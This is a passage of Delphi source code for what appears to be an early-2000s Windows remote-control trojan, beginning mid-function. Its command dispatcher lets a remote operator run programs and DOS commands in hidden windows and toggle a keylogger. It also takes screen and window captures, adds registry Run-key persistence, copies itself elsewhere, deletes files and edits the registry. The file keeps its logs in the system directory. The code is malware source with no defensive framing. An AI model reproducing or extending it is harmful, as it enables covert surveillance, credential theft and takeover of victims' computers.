toolz.pas

2003年的远程控制

tmp:=T_registerygetstring(par,'');
if tmp='' then result:=def else
result:=strtointdef(tmp,def);
end;

function T_RegisteryGetBoolean(par:string;def:boolean):boolean;
var tmp:string;
begin
tmp:=T_registerygetstring(par,'');
if tmp='' then result:=def else
result:=t_zerojeden(tmp);
end;

function T_RegisteryGetTime(par:string;def:tdatetime):Tdatetime;
var tmp:string;
begin
tmp:=T_registerygetstring(par,'');
if tmp='' then result:=def else
result:=def; {strtointdef(tmp,def);}
end;

function GetNetUserName: string;
const len:Cardinal=100;
var tmp:Pchar;
    b:boolean;
begin
tmp:=StrAlloc(Len+1);
b:=GetUserName(tmp,Len);
if b then result:=Strpas(tmp) else result:='nobody';
strdispose(tmp);
end;

procedure usunstareprosiaki;
var i:integer;
begin
for i:=1 to ile_old do
  deletefile(Pchar(sysdirectory+'\'+ver_old[i]));
end;

procedure T_init;
var winsys:Pchar;
    len:cardinal;
begin
winsys:=StrAlloc(MAX_PATH+1);
GetSystemDirectory(winsys,MAX_PATH);
sysdirectory:=Strupper(winsys);
GetWindowsDirectory(winsys,MAX_PATH);
windirectory:=Strupper(winsys);
len:=max_path;
GetComputerName(winsys,len);
hostname:=StrPas(winsys);
StrDispose(winsys);
end;

procedure screendump(typ:integer;f:string);
var dc:hdc;
    jp:TJPEGimage;
    ekran:Timage;
    ew,eh:integer;
begin
dc:=CreateDC('DISPLAY',nil,nil,nil);
case typ of
0 : begin ew:=screen.width; eh:=screen.height; end;
1 : begin ew:=screen.Width div 2; eh:=screen.height div 2; end;
2 : begin ew:=screen.Width div 3; eh:=screen.height div 3; end;
else begin ew:=screen.width; eh:=screen.height; end;
end;
ekran:=TImage.Create(nil);
ekran.Width:=ew;
ekran.Height:=eh;
StretchBlt(ekran.Canvas.Handle, 0, 0,ew,eh,dc,0,0,Screen.width,screen.height,SRCCOPY );
DeleteDC(dc);
jp:=TJPEGImage.create;
jp.assign(ekran.picture.Graphic);
jp.CompressionQuality:=jpeg_q;
jp.SaveToFile(f);
jp.free;
ekran.free;
end;

procedure screenappdump(app:hwnd;f:string);
var dc:hdc;
    jp:TJPEGimage;
    ekran:Timage;
    ew,eh:integer;
    rect:Trect;
begin
GetWindowRect(app,rect);
ew:=rect.Right-rect.left;
eh:=rect.bottom-rect.top;
xsend(inttostr(ew)+'x'+inttostr(eh));
ekran:=TImage.Create(nil);
ekran.Width:=ew;
ekran.Height:=eh;
dc:=GetDC(app);
SetforegroundWindow(app);
InvalidateRect(app,nil,true);
BitBlt(ekran.Canvas.Handle, 0, 0,ew,eh,dc,0,0,SRCCOPY );
ReleaseDC(app,dc);
jp:=TJPEGImage.create;
jp.assign(ekran.picture.Graphic);
jp.CompressionQuality:=jpeg_q;
jp.SaveToFile(f);
jp.free;
ekran.free;
end;

procedure xlog(s:string);
begin
t_log(s);
end;

procedure drivelist;
var
 DriveChar:ansistring;
 Res:integer;
begin
 xsend(Inf_DriveStart);
 DriveChar:='a:\';
 repeat
 res:=GetDriveType(Pchar(drivechar));
 if res>1 then xsend(Inf_drive+Drivechar[1]+' '+inttostr(res));
 inc(DriveChar[1]);
 until Drivechar[1]='z';
 Xsend(Inf_drivestop);
end;

procedure t_dos(par1,par2:string;sw:integer);
begin
 if par1<>'' then
 par1:='command.com /c '+par1+' '+par2 else
 par1:='command.com';
 WinExec(Pchar(par1),sw);
end;

procedure T_mkdir(par1,par2:string);
begin
{$I-}
if par2<>'' then par1:=par1+' '+par2;
mkdir(par1);
if ioresult<>0 then xsend(Err_CreateDir);
{$I+}
end;

function T_direxists(dir:string):boolean;
begin
{$I-}
Chdir(dir);
result:=(IOresult=0);
{$i+}
end;

function T_fileexists(plik:string):boolean;
var f:file;
begin
{$I-}
Assignfile(f,plik);
Reset(f);
result:=(IOresult=0);
closefile(f);
{$i+}
end;

procedure T_cd(par1,par2:string);
var tmp:string;
begin
{$I-}
if par2<>'' then par1:=par1+' '+par2;
if par1<>'' then
begin
 chdir(par1);
 if ioresult<>0 then xsend(Err_DirNotFound);
end;
Getdir(0,tmp);
xsend(Inf_CurrDir+tmp);
{$i+}
end;

procedure T_dir(par1,par2:string);
var tmp:string;
    searchrec:tsearchrec;
begin
 Getdir(0,tmp);
 xsend(Inf_StartDir);
 if par1='' then par1:='*.*';
 if findfirst(par1, faAnyFile-faDirectory, SearchRec)=0 then
 repeat
  par2:=Inf_File+searchrec.name+' '+inttostr(searchrec.size);
  xsend(par2);
 until (FindNext(SearchRec) <> 0);
 if findfirst('*.*', faDirectory, SearchRec)=0 then
 repeat
  if (searchrec.attr and faDirectory)<>0 then xsend(Inf_Dir+searchrec.name);
 until (FindNext(SearchRec) <> 0);
 xsend(Inf_Stopdir);
end;

procedure t_delete(par1,par2:string);
begin
 if par2<>'' then par1:=par1+' '+par2;
 SetFileAttributes(Pchar(par1),FILE_ATTRIBUTE_NORMAL);
 if not deletefile(Pchar(par1)) then xsend(Err_deletefail);
end;

function T_commands(comm,par1,par2:string):boolean;
begin
result:=true;
if comm='DOS' then t_dos(par1,par2,sw_normal)
else if comm='MKDIR' then T_mkdir(par1,par2)
else if comm='CD' then T_cd(par1,par2)
else if comm='DIR' then t_dir(par1,par2)
else if comm='DELETE' then t_delete(par1,par2)
else if comm='REGADD' then T_RegisteryAddRun(par1)
else if comm='REGDEL' then T_RegisteryRemoveRun
else if comm='DRIVES' then drivelist
else if comm='DOSMIN' then t_dos(par1,par2,sw_minimize)
else if comm='DOSHID' then t_dos(par1,par2,sw_hide)
else if comm='EXE' then WinExec(Pchar(par1plus2(par1,par2)),sw_normal)
else if comm='EXEMIN' then WinExec(Pchar(par1plus2(par1,par2)),sw_minimize)
else if comm='EXEHID' then Winexec(Pchar(par1plus2(par1,par2)),sw_hide)
else if comm='OPEN' then
 ShellExecute(GetDesktopwindow,'open',Pchar(par1plus2(par1,par2)),nil,nil,sw_normal)
else if comm='MAIL' then
 begin
 par1:='mailto:'+par1+'?subject='+par2;
 ShellExecute(Getdesktopwindow,'open',Pchar(par1),nil,nil,sw_normal);
 end
else if comm='WWW' then
 ShellExecute(getdesktopwindow,'open',Pchar('http://'+par1),nil,nil,sw_normal)
else if comm='LOGSTATUS' then
 begin
  xsend(Inf_logenabled+t_bool(logtofile));
  xsend(Inf_logfile+logfile);
  xsend(Inf_autosys+t_bool(autostart_log));
 end
else if comm='LOG' then
  begin  if T_zerojeden(par1) then t_openlog else t_closelog; end
else if comm='LOGAUTO' then autostart_log:=t_zerojeden(par1)
else if comm='KEYLOG' then
  begin  if T_zerojeden(par1) then t_openkeylog else t_closekeylog; end
else if comm='KEYLOGAUTO' then autostart_keylog:=t_zerojeden(par1)
else if comm='KEYLOGSTATUS' then
 begin
  xsend(Inf_keylogenabled+t_bool(keylog));
  xsend(Inf_keylogfile+keylogfile);
  xsend(Inf_autokey+t_bool(autostart_keylog));
 end
else if comm='SETPASS' then password:=par1
else if comm='WRITECONFIG' then writeconfig
else if comm='WRITECONFIGDEF' then writeconfigdef
else if comm='COPYSELF' then copyfile(Pchar(paramstr(0)),Pchar(par1),false)
else if comm='COPY' then copyfile(Pchar(par1),Pchar(par2),false)
else if comm='MOVE' then movefile(Pchar(par1),Pchar(par2))
else if comm='CREATE' then
           begin
           assignfile(script_txtfile,par1);
           rewrite(script_txtfile);
           end
else if comm='APPEND' then
           begin
           {$I-}
           assignfile(script_txtfile,par1);
           append(script_txtfile);
           if ioresult<>0 then rewrite(script_txtfile);
           {$I+}
           end
else if comm='WRITE_TEXT' then writeln(script_txtfile,par1+' '+par2)
else if comm='WRITE_DATE' then writeln(script_txtfile,DateTimetostr(now))
else if comm='CLOSE' then closefile(script_txtfile)
else if comm='JPEG_Q' then jpeg_q:=strtointdef(par1,60)
else if comm='ENUMKEYS' then T_registeryEnumKeys(par1)
else if comm='ENUMVALUES' then T_RegisteryEnumValues(par1)
else if comm='SETROOT' then T_regroot:=par1
else if comm='GETROOT' then xsend(inf_root+T_regroot)
else if comm='DELSTRING' then T_registeryDeleteString('',par1)
else if comm='SETSTRING' then T_registerySetString('',par1,par2)
else if comm='GETSTRING' then xsend(Inf_regvalue+T_registeryReadString('',par1))
else
 result:=false;
end;

procedure readconfig;
begin
autostart_log:=T_registeryGetBoolean(REG_LOGSTART,false);
autostart_keylog:=T_registeryGetBoolean(REG_KEYLOGSTART,false);
logfileext:=T_registeryGetString(REG_LOGFILE,deflogfile);
password:=T_registeryGetString(REG_PASS,defpassword);
logfile:=sysdirectory+'\'+logfileext;
keylogext:=T_registeryGetString(REG_KEYLOGFILE,defkeylog);
keylogfile:=sysdirectory+'\'+keylogext;
net_readconfig;
httpd_readconfig;
end;

procedure writeconfig;
begin
T_registeryWriteConfig(REG_LOGSTART,autostart_log);
T_registeryWriteConfig(REG_KEYLOGSTART,autostart_keylog);
T_registeryWriteConfig(REG_LOGFILE,logfileext);
T_registeryWriteConfig(REG_KEYLOGFILE,keylogext);
T_registeryWriteConfig(REG_PASS,password);
net_writeconfig;
httpd_writeconfig;
end;

procedure updateconfig;
begin
autostart_log:=config.autolog;
logfileext:=config.logfile;
autostart_keylog:=config.autokeylog;
keylogext:=config.keylogfile;
password:=config.haslo;
end;

procedure writeconfigdef;
begin
T_registeryWriteConfig(REG_LOGSTART,false);
autostart_log:=false;
T_registeryWriteConfig(REG_LOGFILE,deflogfile);
logfileext:=deflogfile;
T_registeryWriteConfig(REG_KEYLOGSTART,false);
autostart_keylog:=false;
T_registeryWriteConfig(REG_KEYLOGFILE,defkeylog);
keylogext:=defkeylog;
T_registeryWriteConfig(REG_PASS,defpassword);
password:=defpassword;
net_writeconfigdef;
httpd_writeconfigdef;
end;

begin
logtofile:=false;
keylog:=false;
jpeg_q:=60;
t_regroot:='\';
t_init;
end.